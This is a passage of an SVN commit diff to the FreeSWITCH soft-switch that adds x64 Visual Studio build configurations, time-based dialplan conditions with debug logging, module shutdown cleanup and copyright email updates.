+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_dialplan_directory_shutdown)
+{
+	switch_safe_free(globals.directory_name);
+	switch_safe_free(globals.host);
+	switch_safe_free(globals.dn);
+	switch_safe_free(globals.pass);
+	switch_safe_free(globals.base);
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
 SWITCH_MODULE_LOAD_FUNCTION(mod_dialplan_directory_load)
 {
 	switch_dialplan_interface_t *dp_interface;
 
+	memset(&globals, 0, sizeof(globals));
 	load_config();
+	
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 	SWITCH_ADD_DIALPLAN(dp_interface, "directory", directory_dialplan_hunt);

Property changes: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_xml


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_dialplan_xml.c -- XML/Regex Dialplan Module
@@ -44,6 +44,7 @@
 	BREAK_NEVER
 } break_t;
 
+
 static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t xexten, switch_caller_extension_t **extension)
 {
 	switch_xml_t xcond, xaction, xexpression;
@@ -64,6 +65,19 @@
 		switch_regex_t *re = NULL;
 		int ovector[30];
 		break_t do_break_i = BREAK_ON_FALSE;
+		
+		const char *xyear = switch_xml_attr(xcond, "year");
+		const char *xyday = switch_xml_attr(xcond, "yday");
+		const char *xmon = switch_xml_attr(xcond, "mon");
+		const char *xmday = switch_xml_attr(xcond, "mday");
+		const char *xweek = switch_xml_attr(xcond, "week");
+		const char *xwday = switch_xml_attr(xcond, "wday");
+		const char *xhour = switch_xml_attr(xcond, "hour");
+		const char *xminute = switch_xml_attr(xcond, "minute");
+		const char *xminday = switch_xml_attr(xcond, "minute-of-day");
+		switch_time_t ts = switch_micro_time_now();
+		int time_match = -1;
+		switch_time_exp_t tm;
 
 		switch_safe_free(field_expanded);
 		switch_safe_free(expression_expanded);
@@ -74,6 +88,44 @@
 			goto done;
 		}
 
+		switch_time_exp_lt(&tm, ts);
+		
+		if (time_match && xyear) {
+			time_match = switch_number_cmp(xyear, tm.tm_year + 1900);
+		}
+
+		if (time_match && xyday) {
+			time_match = switch_number_cmp(xyday, tm.tm_yday + 1);
+		}
+
+		if (time_match && xmon) {
+			time_match = switch_number_cmp(xmon, tm.tm_mon + 1);
+		}
+
+		if (time_match && xmday) {
+			time_match = switch_number_cmp(xmday, tm.tm_mday);
+		}
+
+		if (time_match && xweek) {
+			time_match = switch_number_cmp(xweek, (int) (tm.tm_yday + 1 / 7));
+		}
+
+		if (time_match && xwday) {
+			time_match = switch_number_cmp(xwday, tm.tm_wday + 1);
+		}
+
+		if (time_match && xhour) {
+			time_match = switch_number_cmp(xhour, tm.tm_hour);
+		}
+
+		if (time_match && xminute) {
+			time_match = switch_number_cmp(xminute, tm.tm_min);
+		}
+
+		if (time_match && xminday) {
+			time_match = switch_number_cmp(xminday, (tm.tm_hour * 60) + (tm.tm_min + 1));
+		}
+		
 		field = (char *) switch_xml_attr(xcond, "field");
 
 		if ((xexpression = switch_xml_child(xcond, "expression"))) {
@@ -97,9 +149,22 @@
 				do_break_i = BREAK_ALWAYS;
 			} else if (!strcasecmp(do_break_a, "never")) {
 				do_break_i = BREAK_NEVER;
+			} else {
+				do_break_a = NULL;
 			}
 		}
 
+		if (time_match == 0) {
+			if (do_break_i == BREAK_ON_FALSE || do_break_i == BREAK_ALWAYS) {
+				break;
+			} else if (do_break_i == BREAK_NEVER) {
+				continue;
+			} else {
+				proceed = 0;
+				goto done;
+			}
+		}
+
 		if (field) {
 			if (strchr(field, '$')) {
 				if ((field_expanded = switch_channel_expand_variables(channel, field)) == field) {
@@ -114,14 +179,23 @@
 			if (!field_data) {
 				field_data = "";
 			}
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Regex: [%s] %s(%s) =~ /%s/\n", exten_name, field, field_data, expression);
-			if (!(proceed = switch_regex_perform(field_data, expression, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Regex mismatch\n");
-
+			
+			if ((proceed = switch_regex_perform(field_data, expression, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
+				switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_DEBUG, 
+								  "Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n", 
+								  switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
+			} else {
+				switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_DEBUG, 
+								  "Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n", 
+								  switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
 				for (xaction = switch_xml_child(xcond, "anti-action"); xaction; xaction = xaction->next) {
 					char *application = (char *) switch_xml_attr_soft(xaction, "application");
 					char *data = (char *) switch_xml_attr_soft(xaction, "data");
-
+					
+					switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_DEBUG, 
+									  "Dialplan: %s ANTI-Action %s(%s)\n", 
+									  switch_channel_get_name(channel), application, data);
+					
 					if (!*extension) {
 						if ((*extension = switch_caller_extension_new(session, exten_name, caller_profile->destination_number)) == 0) {
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
@@ -141,6 +215,10 @@
 				}
 			}
 			assert(re != NULL);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_DEBUG, 
+							  "Dialplan: %s Absolute Condition [%s]\n", 
+							  switch_channel_get_name(channel), exten_name);
 		}
 
 		for (xaction = switch_xml_child(xcond, "action"); xaction; xaction = xaction->next) {
@@ -178,6 +256,10 @@
 				}
 			}
 
+			switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_DEBUG, 
+							  "Dialplan: %s Action %s(%s)\n", 
+							  switch_channel_get_name(channel), application, app_data);
+
 			switch_caller_extension_add_application(session, *extension, application, app_data);
 			switch_safe_free(substituted);
 		}
@@ -206,8 +288,7 @@
 
 	switch_channel_event_set_data(channel, params);
 	switch_caller_profile_event_set_data(caller_profile, "Hunt", params);
-
-	status = switch_xml_locate("dialplan", NULL, NULL, NULL, root, node, params);
+	status = switch_xml_locate("dialplan", NULL, NULL, NULL, root, node, params, SWITCH_FALSE);
 	switch_event_destroy(&params);
 	return status;
 }
@@ -216,8 +297,9 @@
 {
 	switch_caller_extension_t *extension = NULL;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_xml_t alt_root = NULL, cfg, xml = NULL, xcontext, xexten;
+	switch_xml_t alt_root = NULL, cfg, xml = NULL, xcontext, xexten = NULL;
 	char *alt_path = (char *) arg;
+	const char *hunt = NULL;
 
 	if (!caller_profile) {
 		if (!(caller_profile = switch_channel_get_caller_profile(channel))) {
@@ -265,14 +347,27 @@
 		}
 	}
 
-	if (!(xexten = switch_xml_find_child(xcontext, "extension", "name", caller_profile->destination_number))) {
+	if ((hunt = switch_channel_get_variable(channel, "auto_hunt")) && switch_true(hunt)) {
+		xexten = switch_xml_find_child(xcontext, "extension", "name", caller_profile->destination_number);
+	}
+
+	if (!xexten) {
 		xexten = switch_xml_child(xcontext, "extension");
 	}
 
 	while (xexten) {
 		int proceed = 0;
-		char *cont = (char *) switch_xml_attr_soft(xexten, "continue");
+		const char *cont = switch_xml_attr(xexten, "continue");
+		const char *exten_name = switch_xml_attr(xexten, "name");
 
+		if (!exten_name) {
+			exten_name = "UNKNOWN";
+		}
+
+		switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_DEBUG, 
+						  "Dialplan: %s parsing [%s->%s] continue=%s\n", 
+						  switch_channel_get_name(channel), caller_profile->context, exten_name, cont ? cont : "false");
+
 		proceed = parse_exten(session, caller_profile, xexten, &extension);
 
 		if (proceed && !switch_true(cont)) {

Property changes: freeswitch/branches/seven/src/mod/directories/mod_ldap


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Debug MS-LDAP
release
Release MS-LDAP
debug ms-ldap
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Debug MS-LDAP
release
Release MS-LDAP
debug ms-ldap
Win32
x64

Modified: freeswitch/branches/seven/src/mod/directories/mod_ldap/mod_ldap.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/directories/mod_ldap/mod_ldap.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/directories/mod_ldap/mod_ldap.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -84,6 +87,77 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="cscript /nologo &quot;$(InputDir)..\..\..\..\w32\vsnet\getlibs.vbs&quot; Mod_ldap Debug"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\openldap\include&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS;LDAP_DEPRECATED"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="olber32.lib oldap_r.lib"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\openldap\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -149,6 +223,75 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="cscript /nologo &quot;$(InputDir)..\..\..\..\w32\vsnet\getlibs.vbs&quot; Mod_ldap Release"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\openldap\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="olber32.lib oldap_r.lib"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\openldap\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug MS-LDAP|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
@@ -215,6 +358,75 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug MS-LDAP|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\openldap\include&quot;"
+				PreprocessorDefinitions="MSLDAP"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="Wldap32.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\Debug/mod/$(ProjectName).dll"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\openldap\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release MS-LDAP|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -281,6 +493,76 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release MS-LDAP|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\openldap\include&quot;"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS;MSLDAP"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="Wldap32.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\release/mod/$(ProjectName).dll"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\openldap\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/directories/mod_ldap/mod_ldap.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/directories/mod_ldap/mod_ldap.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/directories/mod_ldap/mod_ldap.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_ldap.c -- LDAP

Property changes: freeswitch/branches/seven/src/mod/endpoints


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
mod_airpe

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_alsa/mod_alsa.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_alsa/mod_alsa.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_alsa/mod_alsa.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_alsa.c -- Alsa Endpoint Module
@@ -143,6 +143,7 @@
 static void remove_pvt(private_t *tech_pvt);
 static switch_status_t channel_on_init(switch_core_session_t *session);
 static switch_status_t channel_on_hangup(switch_core_session_t *session);
+static switch_status_t channel_on_destroy(switch_core_session_t *session);
 static switch_status_t channel_on_routing(switch_core_session_t *session);
 static switch_status_t channel_on_exchange_media(switch_core_session_t *session);
 static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
@@ -180,7 +181,7 @@
 	assert(channel != NULL);
 
 
-	last = switch_timestamp_now() - waitsec;
+	last = switch_micro_time_now() - waitsec;
 
 
 
@@ -243,21 +244,21 @@
 		switch_channel_mark_ring_ready(channel);
 
 		while (switch_channel_get_state(channel) == CS_INIT && !switch_test_flag(tech_pvt, TFLAG_ANSWER)) {
-			if (switch_timestamp_now() - last >= waitsec) {
+			if (switch_micro_time_now() - last >= waitsec) {
 				char buf[512];
 				switch_event_t *event;
 
 				snprintf(buf, sizeof(buf), "BRRRRING! BRRRRING! call %s\n", tech_pvt->call_id);
 
 				if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, MY_EVENT_RINGING) == SWITCH_STATUS_SUCCESS) {
-					switch_event_add_header(event, SWITCH_STACK_BOTTOM, "event_info", "%s", buf);
-					switch_event_add_header(event, SWITCH_STACK_BOTTOM, "call_id", "%s", tech_pvt->call_id);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "event_info", buf);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call_id", tech_pvt->call_id);
 					switch_channel_event_set_data(channel, event);
 					switch_event_fire(&event);
 				}
 
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s\n", buf);
-				last = switch_timestamp_now();
+				last = switch_micro_time_now();
 				if (ring_file) {
 					unsigned int pos = 0;
 					switch_core_file_seek(&fh, &pos, 0, SEEK_SET);
@@ -425,6 +426,20 @@
 	switch_mutex_unlock(globals.pvt_lock);
 }
 
+static switch_status_t channel_on_destroy(switch_core_session_t *session)
+{
+	//switch_channel_t *channel = NULL;
+	//private_t *tech_pvt = NULL;
+
+	//channel = switch_core_session_get_channel(session);
+	//tech_pvt = switch_core_session_get_private(session);
+
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+
 static switch_status_t channel_on_hangup(switch_core_session_t *session)
 {
 	switch_channel_t *channel = NULL;
@@ -719,7 +734,13 @@
 	/*.on_execute */ channel_on_execute,
 	/*.on_hangup */ channel_on_hangup,
 	/*.on_exchange_media */ channel_on_exchange_media,
-	/*.on_soft_execute */ channel_on_soft_execute
+	/*.on_soft_execute */ channel_on_soft_execute,
+	/*.on_consume_media*/ NULL,
+    /*.on_hibernate*/ NULL,
+    /*.on_reset*/ NULL,
+    /*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ channel_on_destroy
 };
 
 static switch_io_routines_t channel_io_routines = {
@@ -757,7 +778,7 @@
 													switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags)
 {
 
-	if ((*new_session = switch_core_session_request(&channel_endpoint_interface, pool)) != 0) {
+	if ((*new_session = switch_core_session_request(&channel_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
 		private_t *tech_pvt;
 		switch_channel_t *channel;
 		switch_caller_profile_t *caller_profile;
@@ -813,8 +834,8 @@
 		return SWITCH_STATUS_TERM;
 	}
 
+	memset(&globals, 0, sizeof(globals));
 
-
 	if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
 		return status;
 	}
@@ -931,14 +952,22 @@
 {
 	deactivate_audio_device();
 
-	if (globals.read_codec.implementation) {
+	if (switch_core_codec_ready(&globals.read_codec)) {
 		switch_core_codec_destroy(&globals.read_codec);
 	}
 
-	if (globals.write_codec.implementation) {
+	if (switch_core_codec_ready(&globals.write_codec)) {
 		switch_core_codec_destroy(&globals.write_codec);
 	}
 	switch_core_hash_destroy(&globals.call_hash);
+	
+	switch_safe_free(globals.dialplan);
+	switch_safe_free(globals.cid_name);
+	switch_safe_free(globals.cid_num);
+	switch_safe_free(globals.ring_file);
+	switch_safe_free(globals.hold_file);
+	switch_safe_free(globals.timer_name);
+	switch_safe_free(globals.device_name);
 
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -1412,7 +1441,7 @@
 	}
 	dest = argv[0];
 
-	if ((session = switch_core_session_request(&channel_endpoint_interface, NULL)) != 0) {
+	if ((session = switch_core_session_request(&channel_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
 		private_t *tech_pvt;
 		switch_channel_t *channel;
 		char *dialplan = globals.dialplan;
@@ -1455,7 +1484,7 @@
 			tech_pvt->codec_ms = atoi(argv[5]);
 		}
 
